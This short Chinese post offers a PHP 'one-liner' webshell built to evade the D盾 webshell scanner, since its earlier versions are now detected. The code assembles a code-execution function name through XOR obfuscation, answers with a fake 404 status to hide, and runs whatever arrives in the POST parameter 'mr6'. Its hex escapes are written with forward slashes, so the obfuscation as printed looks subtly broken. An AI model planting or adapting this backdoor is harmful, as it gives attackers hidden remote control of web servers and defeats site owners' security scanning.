异或免杀D盾PHP一句话

之前给的过D盾一句话webshell现在都已被查杀，补个

<?php 
header('HTTP/1.1 404');
class ZXVG
{
    public $c='';
    public function __destruct()
    {
        $_0='&'^"/x47";
        $_1='C'^"/x30";
        $_2='A'^"/x32";
        $_3='v'^"/x13";
        $_4='J'^"/x38";
        $_5='f'^"/x12";
        $db=$_0.$_1.$_2.$_3.$_4.$_5;
        return @$db($this->c);
    }
}
$zxvg=new ZXVG();
@$zxvg->c=$_POST['mr6'];